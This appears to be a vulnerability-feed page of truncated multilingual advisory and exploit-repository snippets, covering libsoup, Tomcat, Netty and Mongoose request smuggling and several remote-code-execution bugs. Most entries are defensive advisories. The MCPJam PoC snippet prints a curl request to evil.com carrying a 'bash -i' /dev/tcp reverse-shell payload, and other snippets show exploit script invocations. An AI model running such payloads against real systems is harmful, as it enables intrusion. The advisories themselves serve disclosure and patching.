CVE-2025-55182-Lab

CVE-2025-55182 实验环境 用于利用 CVE-2025-55182 React2Shell 的动手实验环境 — React 服务端组件中的远程代码执行。 ⚠️ 免责声明 仅用于教育目的。 仅在你拥有的系统上进行测试。 快速开始 克隆并启动 git clone https://github.com/dhananjayakumarn/CVE-2025-55182-Lab.git cd CVE-2025-55182-Lab docker-compose up -d 等待20秒，然后利用 python3 exploit.py http://localhost:3000 "whoami"...

Rocky Linux 9.6 [TuxCare] Security Update: libsoup / libsoup-devel / libsoup-doc Multiple Vulnerabilities (ALMALINUX9.6:CLSA-2026:1776855452)

The Rocky Linux 9.6 host has packages installed that are affected by multiple vulnerabilities as referenced in the TuxCare ALMALINUX9.6:CLSA-2026:1776855452 advisory. - A flaw was found in libsoup, an HTTP client/server library. This HTTP Request Smuggling vulnerability arises from...

CentOS Linux 7 [TuxCare] Security Update: libsoup / libsoup-devel (CENTOS7:CLSA-2025:1744892440)

The CentOS Linux 7 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS7:CLSA-2025:1744892440 advisory. - GNOME libsoup before 3.6.0 allows HTTP request smuggling in some configurations because '\0' characters at the end of header names are ignored,...

Rocky Linux 9.6 [TuxCare] Security Update: libsoup / libsoup-devel / libsoup-doc (ALMALINUX9.6:CLSA-2026:1787783675)

The Rocky Linux 9.6 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.6:CLSA-2026:1787783675 advisory. - A flaw was found in libsoup. The chunked transfer encoding parser uses a permissive parsing function for chunk sizes that silently accept...

PT-2026-103270

Name of the Vulnerable Software and Affected Versions Cisco Catalyst SD-WAN Manager versions prior to 20.9.10.1 Cisco Catalyst SD-WAN Manager versions prior to 20.12.8.2 Cisco Catalyst SD-WAN Manager versions prior to 20.15.6.1 Cisco Catalyst SD-WAN Manager versions prior to 20.18.4.1 Cisco...

CentOS Linux 7 [TuxCare] Security Update: libsoup / libsoup-devel (CENTOS7:CLSA-2026:1787751026)

The CentOS Linux 7 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS7:CLSA-2026:1787751026 advisory. - A flaw was found in libsoup. The chunked transfer encoding parser uses a permissive parsing function for chunk sizes that silently accepts inpu...

Rocky Linux 9.6 [TuxCare] Security Update: cockpit / cockpit-bridge / cockpit-doc / cockpit-packagekit / etc (ALMALINUX9.6:CLSA-2026:1777452220)

The Rocky Linux 9.6 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.6:CLSA-2026:1777452220 advisory. - Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation o...

AlmaLinux 9.2 [TuxCare] Security Update: tomcat / tomcat-admin-webapps / tomcat-docs-webapp / etc Multiple Vulnerabilities (ALMALINUX9.2:CLSA-2026:1786121727)

The AlmaLinux 9.2 host has packages installed that are affected by multiple vulnerabilities as referenced in the TuxCare ALMALINUX9.2:CLSA-2026:1786121727 advisory. - Improper Resource Shutdown or Release vulnerability in Apache Tomcat. If an error occurred including exceeding limits during the...

CVE-2026-73256

A flaw was found in Mongoose. A remote, unauthenticated attacker can achieve unauthorized access or bypass security controls through HTTP request smuggling. Due to an error in protocol version validation, Mongoose fails to identify HTTP/1.0 requests and incorrectly processes chunked transfer...

CVE-2026-73257

A flaw was found in Mongoose. When processing incoming requests containing both Content-Length and Transfer-Encoding headers, the server accepts both headers instead of rejecting the malformed request. In environments where an upstream proxy processes request boundaries differently, a remote,...

Security update for netty, netty-tcnative

This update for netty, netty-tcnative fixes the following issues: CVE-2026-59902: Netty: Memory Exhaustion in SctpMessageCompletionHandler bsc1275501. CVE-2026-59903: Netty Vulnerable to Cache Poisoning and Information Disclosure via CORS Vary Header Overwrite bsc1275500. CVE-2026-62243: TLS...

SUSE-SU-2026:4391-1 Security update for netty, netty-tcnative

This update for netty, netty-tcnative fixes the following issues: - CVE-2026-59902: Netty: Memory Exhaustion in SctpMessageCompletionHandler bsc1275501. - CVE-2026-59903: Netty Vulnerable to Cache Poisoning and Information Disclosure via CORS Vary Header Overwrite bsc1275500. - CVE-2026-62243: TL...

CVE-2026-77756

A flaw was found in Apache Tomcat. This vulnerability, known as HTTP Request/Response Smuggling, occurs when Tomcat processes the transfer-encoding header for an HTTP/1.0 request while operating behind a reverse proxy. A remote attacker could exploit this to cause a denial of service, leading to...

CVE-2026-23744-PoC

CVE-2026-23744-PoC MCP Server の脆弱性に関する PoC。 適切な本文を持つ投稿部分を自動化しました。 脆弱なパス: /api/mcp/connect curl による方法: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data '"serverConfig":"command":"bash","args":"-c","bash -i & /dev/tcp/TUIP/TUPUERTO...

CVE-2026-44789-n8n-PrototypePollution-RCE

CVE-2026-44789 — n8n HTTPリクエストノード ページネーション プロトタイプ汚染 → RCE 認証された n8n 公開アドバイザリでは、汚染が「他の手法と組み合わせることでRCEにつながる可能性がある」とだけ述べており、ガジェットは開示されていません。このリポジトリは、具体的で検証済みのプロトタイプ汚染→RCEチェーンを文書化し、自動化します。 1. 汚染プリミティブ packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts、ページネーションモード...

CVE-2026-23744

CVE-2026-23744 描述 MCPJam inspector 是一个面向 MCP 服务器的本地优先开发平台。版本 =1.4.2 存在远程代码执行漏洞，攻击者可发送特制的 HTTP 请求触发 MCP 服务器的安装，从而导致 RCE。有关漏洞详情，请参阅参考资料。 用法 需求 $ pip install requests 概念验证用法 $ python3 exploit.py -h --lhost LHOST --lport LPORT --rhost RHOST --rport RPORT 选项 -h, --help 显示帮助信息并退出 --lhost LHOST 本地主机 IP...

Security Bulletin: IBM Watson Explorer is affected by a vulnerability in IBM WebSphere Application Server Liberty (CVE-2026-11541)

Summary IBM Watson Explorer contains a vulnerable version of IBM WebSphere Application Server Liberty. Vulnerability Details CVEID:CVE-2026-11541 DESCRIPTION: IBM CICS Transaction Gateway for Multiplatforms 9.1, 9.2, 9.3, and 10.1 IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere...

CVE-2022-36804

CVE-2022-36804 Bitbucket Server および Bitbucket Data Center コンポーネントには、Sangfor セキュリティチームが最近発見した情報によると、コマンドインジェクションの脆弱性が存在します。攻撃者は、プライベートまたはパブリックな Bitbucket リポジトリへの読み取りアクセス権、あるいは書き込みアクセス権を持つパブリックリポジトリへのアクセス権を持っている場合、悪意のある HTTP リクエストを送信して任意のコードを実行し、最終的にサーバーにアクセスすることができます。...

CVE-2026-66752-HTTP-Request-Smuggling-via-Unparsed-Transfer-Encoding-Values-tiny_http-

安全公告：通过未解析的 Transfer-Encoding 值实现 HTTP 请求走私（tinyhttp） 分配的 CVE ID: CVE-2026-66752 摘要 tinyhttp 只检查是否存在 Transfer-Encoding 请求头，从不检查其值。任何值（包括不是 chunked 的编码，以及最终元素不是 chunked 的编码列表）都会导致请求体被按 chunked 解码，同时 Content-Length 会被丢弃。 正确解析传输编码的前端会以与 tinyhttp 不同的方式界定此类请求的边界。同一连接上两个参与者使用两种不同的边界界定方式，是请求走私的前提条件。发送带有...

CVE-2024-14029

A vulnerability was discovered in Tornado where it improperly handles HTTP requests containing duplicate Transfer-Encoding: chunked headers. When duplicate Transfer-Encoding headers are present in an incoming request, Tornado ignores them and treats the request as body-less, leaving the chunked...